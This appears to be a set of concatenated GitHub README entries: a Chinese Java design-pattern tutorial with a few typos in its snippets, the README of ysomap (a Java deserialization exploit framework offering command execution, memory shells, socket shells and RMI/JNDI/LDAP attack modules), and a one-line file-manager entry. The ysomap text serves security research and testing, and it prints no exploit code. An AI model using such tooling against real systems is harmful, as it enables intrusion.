- 工人的超类：[Worker.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/templatemethod/Worker.java)
```java
// 具体方法
public final void workOneDay() {
Log.e("workOneDay", "-----------------work start----------------");
enterCompany();
work();
exitCompany();
Log.e("workOneDay", "-----------------work end----------------");
}
// 工作 抽象方法
public abstract void work();
// 钩子方法
public boolean isNeedPrintDate() {
return false;
}
private void exitCompany() {
if (isNeedPrintDate()) {
Log.e("exitCompany", "---" + new Date().toLocaleString() + "--->");
}
Log.e("exitCompany", name + "---离开公司");
}
```
- 程序员实现类（可得知时间）：[ITWorker.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/templatemethod/worker/ITWorker.java)
```java
/**
* 重写父类的此方法,使可以查看离开公司时间
*/
@Override
public boolean isNeedPrintDate() {
return true;
}
```
- 最后测试：
- 查看所有人员的工作情况：
```java
QAWorker qaWorker = new QAWorker("测试人员");
qaWorker();
HRWorker hrWorker = new HRWorker("莉莉姐");
hrWorker.workOneDay();
...
```
- 查看程序猿离开公司的时间:
```java
ITWorker itWorker = new ITWorker("jingbin");
itWorker.workOneDay();
```
### 10. 状态模式
> 定义：允许对象在内部状态改变时改变它的行为，对象看起来好像修改了它的类。
- 定义又开始模糊了，理一下，当对象的内部状态改变时，它的行为跟随状态的改变而改变了，看起来好像重新初始化了一个类似的。
- 需求：以自动售货机为例（有已投币、未投币等状态和投币、退币等方法）
- 最初实现待改进的售货机：[VendingMachine.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/state/old/VendingMachine.java)
- 改进后的售货机（更具有延展性）:[VendingMachineBetter.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/state/better/VendingMachineBetter.java)
```java
// 放钱
public void insertMoney() {
currentState.insertMoney();
}
// 退钱
public void backMoney() {
currentState.backMoney();
}
// 转动曲柄
public void turnCrank() {
currentState.turnCrank();
if (currentState == soldState || currentState == winnerState) {
currentState.dispense();//两种情况会出货
}
}
// 出商品
public void dispense() {
Log.e("VendingMachineBetter", "---发出一件商品");
if (count > 0) {
count--;
}
}
// 设置对应状态
public void setState(State state) {
this.currentState = state;
}
```
- 状态的接口：[State.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/state/better/State.java)
- 对应状态的接口实现类：
- eg: 中奖状态：[WinnerState.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/state/better/WinnerState.java)
- eg: 售卖状态：[SoldState.java](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/state/better/SoldState.java)
- 改进后的售货机测试：
```java
// 初始化售货机,且里面有3个商品
VendingMachineBetter machineBetter = new VendingMachineBetter(3);
machineBetter.insertMoney();
machineBetter.turnCrank();
```
### 11. 建造者模式
> 建造模式是对象的创建模式。建造模式可以将一个产品的内部表象（internal representation）与产品的生产过程分割开来，从而可以使一个建造过程生成具有不同的内部表象的产品对象。
- 需求：用户去汽车店购买汽车。
- 分析：汽车店根据每个用户的需求提取对应汽车
- 建造者超类：[Builder](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/builder/Builder.java)
```java
public abstract class Builder {
public abstract void setPart(String name, String type);
public abstract Product getProduct();
}
```
- 建造者对应实现类：[ConcreteBuilder](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/builder/ConcreteBuilder.java)
```java
public class ConcreteBuilder extends Builder {
private Product product = new Product();
@Override
public void setPart(String name, String type) {
product.setName(name);
product.setType(type);
}
@Override
public Product getProduct() {
return product;
}
}
```
- 店长[Director](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/builder/Director.java)取汽车：
```java
// 店长
Director director = new Director();
// 得到宝马汽车，内部实现提取宝马汽车的详情操作
Product product = director.getBProduct();
// 展示汽车信息
product.showProduct();
```
### 12. 原型模式
> 原型模式是用于创建重复的对象，同时又能保证性能。这种类型的设计模式属于创建型模式，它提供了一种创建对象的最佳方式。
这种模式是实现了一个原型接口，该接口用于创建当前对象的克隆。当直接创建对象的代价比较大时，则采用这种模式。例如，一个对象需要在一个高代价的数据库操作之后被创建。我们可以缓存该对象，在下一个请求时返回它的克隆，在需要的时候更新数据库，以此来减少数据库调用。
以获取多种形状为例，共分四步：
- 1、创建一个实现了 Cloneable 接口的抽象类。[Shape](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/prototype/Shape.java)（implements Cloneable）
```java
public abstract class Shape implements Cloneable {
private String id;
protected String type;
public abstract void draw();
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
@Override
public Object clone() {
Object object = null;
try {
object = super.clone();
} catch (CloneNotSupportedException e) {
Log.e("--", e.getMessage());
}
return object;
}
}
```
- 2、创建扩展了上面抽象类的实体类。[Circle](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/prototype/shapeimpl/Circle.java)、[Rectangle](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/prototype/shapeimpl/Rectangle.java)、[Square](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/prototype/shapeimpl/Square.java)
```java
public class Circle extends Shape {
public Circle() {
type = "Circle";
}
@Override
public void draw() {
Log.e("---", "Inside Circle::draw() method.");
}
}
```
- 3、创建一个类，从数据库获取实体类，并把它们存储在一个 Hashtable 中。[ShapeCache](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/prototype/ShapeCache.java)
```java
public class ShapeCache {
private static Hashtable<String, Shape> shapeMap = new Hashtable<String, Shape>();
public static Shape getShape(String shapeId) {
Shape shapeCache = shapeMap.get(shapeId);
return (Shape) shapeCache.clone();
}
// 对每种形状都运行数据库查询，并创建该形状
// shapeMap.put(shapeKey, shape);
// 例如，我们要添加三种形状
public static void loadCache() {
Circle circle = new Circle();
circle.setId("1");
shapeMap.put(circle.getId(), circle);
Rectangle rectangle = new Rectangle();
rectangle.setId("2");
shapeMap.put(rectangle.getId(), rectangle);
Square square = new Square();
square.setId("3");
shapeMap.put(square.getId(), square);
}
}
```
- 4、使用 ShapeCache 类来获取存储在 Hashtable 中的形状的克隆。
```java
// 使用 ShapeCache 类来获取存储在 Hashtable 中的形状的克隆。
ShapeCache.loadCache();
Shape shapeCache1 = ShapeCache.getShape("1");
Shape shapeCache2 = ShapeCache.getShape("2");
Shape shapeCache3 = ShapeCache.getShape("3");
```
### 13. 享元模式
> 主要用于减少创建对象的数量，以减少内存占用和提高性能。这种类型的设计模式属于结构型模式，它提供了减少对象数量从而改善应用所需的对象结构的方式。
享元模式尝试重用现有的同类对象，如果未找到匹配的对象，则创建新对象。我们将通过创建 5 个对象来画出 20 个分布于不同位置的圆来演示这种模式。由于只有 5 种可用的颜色，所以 color 属性被用来检查现有的 Circle 对象。
- **主要解决**：在有大量对象时，有可能会造成内存溢出，我们把其中共同的部分抽象出来，如果有相同的业务请求，直接返回在内存中已有的对象，避免重新创建。
以随机获取多种形状为例，共分四步：
- 1、创建一个接口。
```java
public interface Shape {
void draw();
}
```
- 2、创建实现接口的实体类。
```java
public class Circle implements Shape {
private String color;
private int x;
private int y;
private int radius;
public Circle(String color) {
this.color = color;
}
public void setX(int x) {
this.x = x;
}
public void setY(int y) {
this.y = y;
}
public void setRadius(int radius) {
this.radius = radius;
}
@Override
public void draw() {
Log.e("---", "Circle: Draw() [Color : " + color
+ ", x : " + x + ", y :" + y + ", radius :" + radius);
}
}
```
- 3、创建一个工厂，生成基于给定信息的实体类的对象。
```java
public class ShapeFactory {
private static final HashMap<String, Shape> circleMap = new HashMap<String, Shape>();
public static Shape getShape(String color) {
Shape shape = circleMap.get(color);
if (shape == null) {
shape = new Circle(color);
circleMap.put(color, shape);
Log.e("getShape", "Creating circle of color : " + color);
}
return shape;
}
}
```
- 4、使用该工厂，通过传递颜色信息来获取实体类的对象。
```java
for (int i = 0; i < 20; i++) {
Circle circle = (Circle) ShapeFactory.getShape(getRandomColor());
circle.setX(getRandomX());
circle.setY(getRandomY());
circle.setRadius(100);
circle.draw();
}
```
### 14. 代理模式
> 一个类代表另一个类的功能。在代理模式中，我们创建具有现有对象的对象，以便向外界提供功能接口。可以理解为内存中没有这个对象就创建，有就直接返回这个对象。
- **主要解决**：在直接访问对象时带来的问题，比如说：要访问的对象在远程的机器上。在面向对象系统中，有些对象由于某些原因（比如对象创建开销很大，或者某些操作需要安全控制，或者需要进程外的访问），直接访问会给使用者或者系统结构带来很多麻烦，我们可以在访问此对象时加上一个对此对象的访问层。
以获取磁盘中的图片为例，总共分三步：
- 1、创建一个接口。
```java
public interface Image {
void display();
}
```
- 2、创建实现接口的实体类 RealImage。对应代理类：ProxyImage。
```java
public class RealImage implements Image {
private String fileName;
public RealImage(String fileName) {
this.fileName = fileName;
loadFromDisk(fileName);
}
private void loadFromDisk(String fileName) {
Log.e("RealImage", "loading " + fileName);
}
@Override
public void display() {
Log.e("RealImage", "Displaying " + fileName);
}
}
```
```java
public class ProxyImage implements Image {
private String fileName;
private RealImage realImage;
public ProxyImage(String fileName) {
this.fileName = fileName;
}
@Override
public void display() {
if (realImage == null) {
realImage = new RealImage(fileName);
}
realImage.display();
}
}
```
- 3、当被请求时，使用 ProxyImage 来获取 RealImage 类的对象。
```java
Image image = new ProxyImage("test_10mb.png");
// 第一次是new的，图像从磁盘加载
image.display();
// 第二次取缓存，图像不需要从磁盘加载
image.display();
```
### 15. 桥接模式
> 桥接（Bridge）是用于把抽象化与实现化解耦，使得二者可以独立变化。这种类型的设计模式属于结构型模式，它通过提供抽象化和实现化之间的桥接结构，来实现二者的解耦。
- **主要解决**：在有多种可能会变化的情况下，用继承会造成类爆炸问题，扩展起来不灵活。
以画不同颜色的圆为例，实现共分五步：
- 1、创建桥接实现接口。
```java
public interface DrawAPI {
void drawCircle(int radius, int x, int y);
}
```
- 2、创建实现了 DrawAPI 接口的实体桥接实现类。[RedCircle](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/bridge/RedCircle.java)、[GreenCircle](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/bridge/GreenCircle.java)
```java
public class RedCircle implements DrawAPI {
@Override
public void drawCircle(int radius, int x, int y) {
Log.e("---", "Drawing Circle[ color: red, radius: "
+ radius + ", x: " + x + ", " + y + "]");
}
}
```
- 3、使用 DrawAPI 接口创建抽象类 [Shape](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/bridge/Shape.java)。
```java
public abstract class Shape {
protected DrawAPI drawAPI;
protected Shape(DrawAPI drawAPI) {
this.drawAPI = drawAPI;
}
public abstract void draw();
}
```
- 4、创建实现了 Shape 接口的实体类。
```java
public class Circle extends Shape {
private int x, y, radius;
protected Circle(int x, int y, int radius, DrawAPI drawAPI) {
super(drawAPI);
this.x = x;
this.y = y;
this.radius = radius;
}
@Override
public void draw() {
drawAPI.drawCircle(radius, x, y);
}
}
```
- 5、使用 Shape 和 DrawAPI 类画出不同颜色的圆。
```java
// 画红圆
Circle circle = new Circle(10, 10, 100, new RedCircle());s
circle.draw();
// 画绿圆
Circle circle2 = new Circle(20, 20, 100, new GreenCircle());
circle2.draw();
```
### 16. 组合模式
> 又叫部分整体模式，是用于把一组相似的对象当作一个单一的对象。组合模式依据树形结构来组合对象，用来表示部分以及整体层次。这种类型的设计模式属于结构型模式，它创建了对象组的树形结构。
- **主要解决**：它在我们树型结构的问题中，模糊了简单元素和复杂元素的概念，客户程序可以像处理简单元素一样来处理复杂元素，从而使得客户程序与复杂元素的内部结构解耦。
以创建和打印员工的层次结构为例，最小单元示例：
- 1、创建 Employee 类，该类带有 Employee 对象的列表。
```java
public class Employee {
private String name;
// 部门
private String dept;
// 工资
private int salary;
// 员工 list
private List<Employee> subordinates;
public Employee(String name, String dept, int salary) {
this.name = name;
this.dept = dept;
this.salary = salary;
this.subordinates = new ArrayList<Employee>();
}
public void add(Employee e) {
subordinates.add(e);
}
public void remove(Employee e) {
subordinates.remove(e);
}
public List<Employee> getSubordinates() {
return subordinates;
}
@Override
public String toString() {
return "Employee{" +
"name='" + name + '\'' +
", dept='" + dept + '\'' +
", salary=" + salary +
", subordinates=" + subordinates +
'}';
}
}
```
- 2.使用 Employee 类来创建和打印员工的层次结构。
```java
final Employee ceo = new Employee("John", "CEO", 30000);
Employee headSales = new Employee("Robert", "Head sales", 20000);
Employee headMarketing = new Employee("Michel", "Head Marketing", 20000);
Employee clerk1 = new Employee("Laura", "Marketing", 10000);
Employee clerk2 = new Employee("Bob", "Marketing", 10000);
Employee salesExecutive1 = new Employee("Richard", "Sales", 10000);
Employee salesExecutive2 = new Employee("Rob", "Sales", 10000);
ceo.add(headSales);
ceo.add(headMarketing);
headSales.add(salesExecutive1);
headSales.add(salesExecutive2);
headMarketing.add(clerk1);
headMarketing.add(clerk2);
Log.e("---", ceo.toString());
// 打印
/*
* Employee{name='John', dept='CEO', salary=30000,
* subordinates=[Employee{name='Robert', dept='Head sales', salary=20000,
* subordinates=[
* Employee{name='Richard', dept='Sales', salary=10000, subordinates=[]},
* Employee{name='Rob', dept='Sales', salary=10000, subordinates=[]}]},
* Employee{name='Michel', dept='Head Marketing', salary=20000,
* subordinates=[Employee{name='Laura', dept='Marketing', salary=10000, subordinates=[]},
* Employee{name='Bob', dept='Marketing', salary=10000, subordinates=[]}]}]}
*/
```
### 17. 迭代器模式
> Java 和 .Net 编程环境中非常常用的设计模式。这种模式用于顺序访问集合对象的元素，不需要知道集合对象的底层表示。迭代器模式属于行为型模式。
- **主要解决**：不同的方式来遍历整个整合对象。
以使用迭代器打印名字为例，总共分三步：
- 1、创建接口:
```java
public interface Iterator {
public boolean hasNext();
public Object next();
}
```
```java
public interface Container {
public Iterator getIterator();
}
```
- 2、创建实现了 Container 接口的实体类。该类有实现了 Iterator 接口的内部类 NameIterator。
```java
public class NameRepository implements Container {
private String names[] = {"John", "jingbin", "youlookwhat", "lookthis"};
@Override
public Iterator getIterator() {
return new NameIterator();
}
private class NameIterator implements Iterator {
int index;
@Override
public boolean hasNext() {
if (index < names.length) {
return true;
}
return false;
}
@Override
public Object next() {
if (hasNext()) {
return names[index++];
}
return null;
}
}
}
```
- 3、使用 NameRepository 来获取迭代器，并打印名字。
```java
NameRepository nameRepository = new NameRepository();
for (Iterator iterator = nameRepository.getIterator(); iterator.hasNext(); ) {
String name = (String) iterator.next();
Log.e("---", name);
/*
* /---: John
* /---: jingbin
* /---: youlookwhat
* /---: lookthis
*/
}
```
### 18. 中介者模式
> 用来降低多个对象和类之间的通信复杂性。这种模式提供了一个中介类，该类通常处理不同类之间的通信，并支持松耦合，使代码易于维护。中介者模式属于行为型模式。
- **主要解决**：对象与对象之间存在大量的关联关系，这样势必会导致系统的结构变得很复杂，同时若一个对象发生改变，我们也需要跟踪与之相关联的对象，同时做出相应的处理。
以公共聊天室为例，最小单元示例步骤：
- 1、创建中介类。
```java
public class CharRoom {
public static void showMessage(User user, String message) {
Log.e("---", new Date().toString()
+ " [" + user.getName() + "] : " + message);
}
}
```
- 2、创建 user 类。
```java
public class User {
private String name;
public User(String name) {
this.name = name;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public void sendMessage(String message) {
// 使用中介类
CharRoom.showMessage(this, message);
}
}
```
- 3、使用 User 对象来显示他们之间的通信。
```java
User jingbin = new User("jingbin");
jingbin.sendMessage("Hi~ youlookwhat!");
//---: Sun Feb 02 08:11:47 GMT+00:00 2020 [jingbin] : Hi~ youlookwhat!
User jingbin = new User("youlookwhat");
jingbin.sendMessage("Hi~ jingbin!");
//---: Sun Feb 02 08:11:49 GMT+00:00 2020 [youlookwhat] : Hi~ jingbin!
```
### 19. 备忘录模式
> 保存一个对象的某个状态，以便在适当的时候恢复对象。备忘录模式属于行为型模式。
- **主要解决**：所谓备忘录模式就是在不破坏封装的前提下，捕获一个对象的内部状态，并在该对象之外保存这个状态，这样可以在以后将对象恢复到原先保存的状态。
以使用备忘录为例，最小单元步骤：
- 1、创建 备忘录 Memento 类。
```java
public class Memento {
private String state;
public Memento(String state) {
this.state = state;
}
public String getState() {
return state;
}
public void setState(String state) {
this.state = state;
}
}
```
- 2、创建 Originator 类。
```java
public class Originator {
private String state;
public String getState() {
return state;
}
public void setState(String state) {
this.state = state;
}
public Memento setSateToMemento() {
return new Memento(state);
}
public String getStateFromMemento(Memento memento) {
return memento.getState();
}
}
```
- 3、创建 CareTaker 类。
```java
public class CareTaker {
private List<Memento> mementoList = new ArrayList<Memento>();
public void add(Memento memento) {
mementoList.add(memento);
}
public Memento get(int index) {
return mementoList.get(index);
}
}
```
- 4、使用 CareTaker 和 Originator 对象。
```java
// 管理者
CareTaker careTaker = new CareTaker();
Originator originator = new Originator();
originator.setState("State #1");
originator.setState("State #2");
// 保存状态
careTaker.add(originator.setSateToMemento());
originator.setState("State #3");
// 保存状态
careTaker.add(originator.setSateToMemento());
originator.setState("State #4");
Log.e("---", "Current State: " + originator.getState());
// 得到保存的状态
String fromMemento1 = originator.getStateFromMemento(careTaker.get(0));
Log.e("---", "First Saved State: " + fromMemento1);
String fromMemento2 = originator.getStateFromMemento(careTaker.get(1));
Log.e("---", "Second Saved State: " + fromMemento2);
/*
* /---: Current State: State #4
* /---: First Saved State: State #2
* /---: Second Saved State: State #3
*/
```
### 20. 解释器模式
> 提供了评估语言的语法或表达式的方式，它属于行为型模式。这种模式实现了一个表达式接口，该接口解释一个特定的上下文。这种模式被用在 SQL 解析、符号处理引擎等。
- **主要解决**：对于一些固定文法构建一个解释句子的解释器。
以解释一句话为例，最小单元步骤：
- 1、创建一个表达式接口 Expression。
```java
public interface Expression {
public boolean interpreter(String content);
}
```
- 2、创建实现了上述接口的实体类。TerminalExpression、OrExpression、AndExpression。
```java
public class TerminalExpression implements Expression {
private String data;
public TerminalExpression(String data) {
this.data = data;
}
@Override
public boolean interpreter(String content) {
// 是包含判断
return content.contains(data);
}
}
```
```java
public class OrExpression implements Expression {
private Expression expression1;
private Expression expression2;
public OrExpression(Expression expression1, Expression expression2) {
this.expression1 = expression1;
this.expression2 = expression2;
}
@Override
public boolean interpreter(String content) {
return expression1.interpreter(content) || expression2.interpreter(content);
}
}
```
```java
public class AndExpression implements Expression {
private Expression expression1;
private Expression expression2;
public AndExpression(Expression expression1, Expression expression2) {
this.expression1 = expression1;
this.expression2 = expression2;
}
@Override
public boolean interpreter(String content) {
return expression1.interpreter(content) && expression2.interpreter(content);
}
}
```
- 3、使用 Expression 类来创建规则，并解析它们。
```java
/**
* 规则：jingbin 和 youlookwhat 是男性
*/
public static Expression getMaleExpression() {
TerminalExpression jingbin = new TerminalExpression("jingbin");
TerminalExpression youlookwhat = new TerminalExpression("youlookwhat");
return new OrExpression(jingbin, youlookwhat);
}
/**
* 规则：Julie 是一个已婚的女性
*/
public static Expression getMarriedWomanExpression() {
TerminalExpression julie = new TerminalExpression("Julie");
TerminalExpression married = new TerminalExpression("Married");
return new AndExpression(julie, married);
}
Expression maleExpression = getMaleExpression();
// jingbin is male: true
Log.e("---", "jingbin is male: " + maleExpression.interpreter("jingbin"));
Expression womanExpression = getMarriedWomanExpression();
// Julie is married woman: true
Log.e("---", "Julie is married woman: " + womanExpression.interpreter("Married Julie"));
```
### 21. 责任链模式
> 责任链模式（Chain of Responsibility Pattern）为请求创建了一个接收者对象的链。这种模式给予请求的类型，对请求的发送者和接收者进行解耦。这种类型的设计模式属于行为型模式。**在这种模式中，通常每个接收者都包含对另一个接收者的引用。如果一个对象不能处理该请求，那么它会把相同的请求传给下一个接收者，依此类推。**
- **主要解决**：职责链上的处理者负责处理请求，客户只需要将请求发送到职责链上即可，无须关心请求的处理细节和请求的传递，所以职责链将请求的发送者和请求的处理者解耦了。
以Android Studio中打印日志为例，最小单元步骤：
- 1、创建抽象的记录器类 AbstractLogger。
```java
public abstract class AbstractLogger {
public static int INFO = 1;
public static int DEBUG = 2;
public static int ERROR = 3;
protected int level;
// 责任链中的下一个元素
protected AbstractLogger nextLogger;
public void setNextLogger(AbstractLogger nextLogger) {
this.nextLogger = nextLogger;
}
public void logMessage(int level, String message) {
if (this.level <= level) {
write(message);
}
// 递归效果，不断调用下一级 logMessage
if (nextLogger != null) {
nextLogger.logMessage(level, message);
}
}
protected abstract void write(String message);
}
```
- 2、创建扩展了该记录器类的实体类。
```java
public class ConsoleLogger extends AbstractLogger {
public ConsoleLogger(int level) {
this.level = level;
}
@Override
protected void write(String message) {
Log.e("---", "Standard Console::Logger " + message);
}
}
```
```java
public class FileLogger extends AbstractLogger {
public FileLogger(int level) {
this.level = level;
}
@Override
protected void write(String message) {
Log.e("---", "File::Logger " + message);
}
}
```
```java
public class ErrorLogger extends AbstractLogger {
public ErrorLogger(int level) {
this.level = level;
}
@Override
protected void write(String message) {
Log.e("---", "Error Console::Logger " + message);
}
}
```
- 3、创建不同类型的记录器。赋予它们不同的错误级别，并在每个记录器中设置下一个记录器。每个记录器中的下一个记录器代表的是链的一部分。
```java
public static AbstractLogger getChainOfLoggers() {
ErrorLogger errorLogger = new ErrorLogger(AbstractLogger.ERROR);
FileLogger fileLogger = new FileLogger(AbstractLogger.DEBUG);
ConsoleLogger consoleLogger = new ConsoleLogger(AbstractLogger.INFO);
errorLogger.setNextLogger(fileLogger);
fileLogger.setNextLogger(consoleLogger);
return errorLogger;
}
AbstractLogger logger = getChainOfLoggers();
// ---: Standard Console::Logger this is an information.
logger.logMessage(AbstractLogger.INFO, "this is an information.");
// ---: File::Logger this is a debug level information.
// ---: Standard Console::Logger this is a debug level information.
logger.logMessage(AbstractLogger.DEBUG, "this is a debug level information.");
// ---: Error Console::Logger this is a error level information.
// ---: File::Logger this is a error level information.
// ---: Standard Console::Logger this is a error level information.
logger.logMessage(AbstractLogger.ERROR, "this is a error level information.");
```
### 22. 访问者模式
> 在访问者模式中，我们使用了一个访问者类，它改变了元素类的执行算法。通过这种方式，元素的执行算法可以随着访问者改变而改变。这种类型的设计模式属于行为型模式。根据模式，元素对象已接受访问者对象，这样访问者对象就可以处理元素对象上的操作。
- **主要解决**：稳定的数据结构和易变的操作耦合问题。
以显示计算机的组成部分为例，主要分五步实现：
- 1、定义一个表示元素的接口。
```java
public interface ComputerPart {
public void accept(ComputerPartVisitor computerPartVisitor);
}
```
- 2、创建扩展了上述类的实体类。[Keyboard](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/visitor/impl/Keyboard.java)、[Monitor](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/visitor/impl/Monitor.java)、[Mouse](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/visitor/impl/Mouse.java)、[Computer](https://github.com/youlookwhat/DesignPattern/blob/master/app/src/main/java/com/example/jingbin/designpattern/visitor/impl/Computer.java)
```java
public class Computer implements ComputerPart {
private ComputerPart[] parts;
public Computer() {
this.parts = new ComputerPart[]{new Mouse(), new Keyboard(), new Monitor()};
}
@Override
public void accept(ComputerPartVisitor computerPartVisitor) {
for (ComputerPart part : parts) {
part.accept(computerPartVisitor);
}
computerPartVisitor.visit(this);
}
}
```
```java
public class Mouse implements ComputerPart {
@Override
public void accept(ComputerPartVisitor computerPartVisitor) {
computerPartVisitor.visit(this);
}
}
```
- 3、定义一个表示访问者的接口。
```java
public interface ComputerPartVisitor {
public void visit(Computer computer);
public void visit(Mouse mouse);
public void visit(Keyboard keyboard);
public void visit(Monitor monitor);
}
```
- 4、创建实现了上述类的实体访问者。
```java
public class ComputerPartDisplayVisitor implements ComputerPartVisitor {
@Override
public void visit(Computer computer) {
Log.e("---", "Displaying Computer.");
}
@Override
public void visit(Mouse mouse) {
Log.e("---", "Displaying Mouse.");
}
@Override
public void visit(Keyboard keyboard) {
Log.e("---", "Displaying Keyboard.");
}
@Override
public void visit(Monitor monitor) {
Log.e("---", "Displaying Monitor.");
}
}
```
- 5、使用 ComputerPartDisplayVisitor 来显示 Computer 的组成部分。
```java
ComputerPart computer = new Computer();
computer.accept(new ComputerPartDisplayVisitor());
/*
*打印：
*---: Displaying Mouse.
*---: Displaying Keyboard.
*---: Displaying Monitor.
*---: Displaying Computer.
*/
```
## Download
- [DesignPattern.apk](https://download.csdn.net/download/jingbin_/12146492)
## Reference
- [CSDN：张鸿洋](http://blog.csdn.net/lmj623565791/article/category/2206597)
- [CSDN：dmk877](http://blog.csdn.net/dmk877/article/details/50311791)
- [菜鸟教程：设计模式](https://www.runoob.com/design-pattern/design-pattern-intro.html)
## About me
- **QQ：** 770413277
- **掘金：**[https://juejin.im/user/56eec46d1ea49300555a176b/posts](https://juejin.im/user/56eec46d1ea49300555a176b/posts)
- **简书：**[https://www.jianshu.com/u/e43c6e979831](https://www.jianshu.com/u/e43c6e979831)
- **Email：** jingbin127@163.com
| 0 |
wh1t3p1g/ysomap | A helpful Java Deserialization exploit framework. | exploitation-framework java-deserialization |
# YSOMAP
Ysomap is A helpful Java Deserialization exploit framework.
Ysomap是一款适配于各类实际复杂环境的Java反序列化利用框架，可动态配置具备不同执行效果的Java反序列化利用链payload。
随着利用链的补充，ysomap同样可作为一款Java反序列化利用链教学库。目前，ysomap支持Java原生反序列化利用链、fastjson利用链、hessian利用链、xmldecoder、xstream等等。
另外，ysomap具备exploit模块，用于充分调动反序列化利用链。目前，ysomap已支持RMI、JNDI、JMX、shiro、xmlrpc等exploits。
## #1 如何使用
在谈如何使用ysomap之前，假设使用者有一定的Java反序列化利用的前置知识，以及一些常见利用的原理，如rmi、ldap等。
### Jar编译
由于XStream的几个payload依赖JDK8的环境，所以后续的使用均在JDK8的环境下编译并运行
```bash
mvn clean package -DskipTests
```
正常编译不出错，可在`cli/target`目录找到ysomap.jar
当然，你也可以直接下载[release](https://github.com/wh1t3p1g/ysomap/releases)，但还是推荐自行clone后编译，因为大版本的更新将积攒一批利用链后才会发布release。
### Jar运行
经过几次迭代，目前ysomap支持两种运行模式：终端cli模式和脚本模式
终端模式
```bash
java -jar ysomap.jar cli
```
脚本模式
```bash
java -jar ysomap.jar script path/to/script.yso
```
终端模式更易于选择和配置exploit、payload、bullet，但对于重复性的配置，终端模式显的格外繁琐。所以后续又增加了脚本模式。通过编写特定配置的yso脚本，使用ysomap进行载入调用。脚本模式在正确配置的前提下将极大的节省使用者输入重复配置的工作量，提高使用效率。同时，yso脚本也可以被分享给其他使用者进行快捷使用。
### 基础使用方法
参见[YSOMAP食用指北](https://github.com/wh1t3p1g/ysomap/wiki/YSOMAP%E9%A3%9F%E7%94%A8%E6%8C%87%E5%8C%97)
## #2 当前进度
### DONE
- [x] 支持CommonsCollections系列payload
- [x] 支持执行效果bullet：远程jar载入、命令执行、代码执行、发起jndi效果、tomcat内存马、延时判断、文件写入、socket shell。
- [x] 支持现有RMI系列攻击包 [原理1](http://blog.0kami.cn/2020/02/06/rmi-registry-security-problem/) [原理2](http://blog.0kami.cn/2020/02/09/jndi-with-rmi/) [原理3](https://mogwailabs.de/blog/2020/02/an-trinhs-rmi-registry-bypass/)
- [x] 支持现有LDAP系列攻击包 [原理](http://blog.0kami.cn/2020/03/01/jndi-with-ldap/)
- [x] 支持HTTP服务动态挂载恶意的class文件或jar文件
- [x] 支持URLDNS
- [x] 支持现有JMX系列攻击包 [原理](http://blog.0kami.cn/2020/03/10/java-jmx-rmi/)
- [x] 支持fastjson JdbcRowSetImpl、TemplatesImpl gadget [原理](http://blog.0kami.cn/2020/04/13/talk-about-fastjson-deserialization/)
- [x] 支持现有XStream系列payload包 [原理](http://blog.0kami.cn/2020/04/18/talk-about-xstream-deserialization/)
- [x] 支持weblogic XMLDecoder payloads
### TODO
- [ ] 支持weblogic系列攻击包
- [ ] 支持websphere系列攻击包
## #3 由来
在实际分析ysoserial的利用链时，有时候会觉得框架写的太死，有以下几个缺点：
1. 同一个利用链如果想改变一下最后的利用效果，如命令执行改成代码执行，我们需要改写这个利用链或者是重新增加一个利用链。这时，我们其实可以看到利用链的前半部分是不变的，变的只是后续的利用效果。
2. ysoserial仅实现了常规的序列化利用链，对于类似JSON格式的序列化利用链，以当前的这个框架扩展起来会比较麻烦
所以萌生了开发一个更加灵活的框架来扩展反序列化利用链，也就是当前这个试验品ysomap。
PS：YSOMAP项目为另一个项目的子项目，后续将开源该项目，敬请期待......
## #4 原理
我将利用链切分成了两个部分**payload**和**bullet**：
1. payload：指代利用链的前序部分
2. bullet：指代最终利用链可达成的效果
#### 实际案例分析
CommonsCollection1和3，在分析时我们可以看到实际1和3的区别在于1使用的是`InvokerTransformer`，而3使用的是`templatesImpl`的方式。那么提取相同的前序payload部分，我们只需写两个不同的bullet即可。而且这两个bullet也同样能被用在其他的payload上。
实际还有就是我在写RMIRegistryExploit时，也有这种可将不变部分重用的地方，而无需2,3之类的出现。
## #5 免责申明
未经授权许可使用YSOMAP攻击目标是非法的。 本程序应仅用于授权的安全测试与研究目的。
## #6 致谢
@ysoserial: https://github.com/frohoff/ysoserial
@marshalsec: https://github.com/mbechler/marshalsec
## #7 404星链计划
<img src="https://github.com/knownsec/404StarLink-Project/raw/master/logo.png" width="30%">
ysomap现已加入 [404星链计划](https://github.com/knownsec/404StarLink) | 0 |
MiCode/FileExplorer | MIUI文件管理器社区开源版（Community edition of MIUI File Explorer) | null | null | 0 |
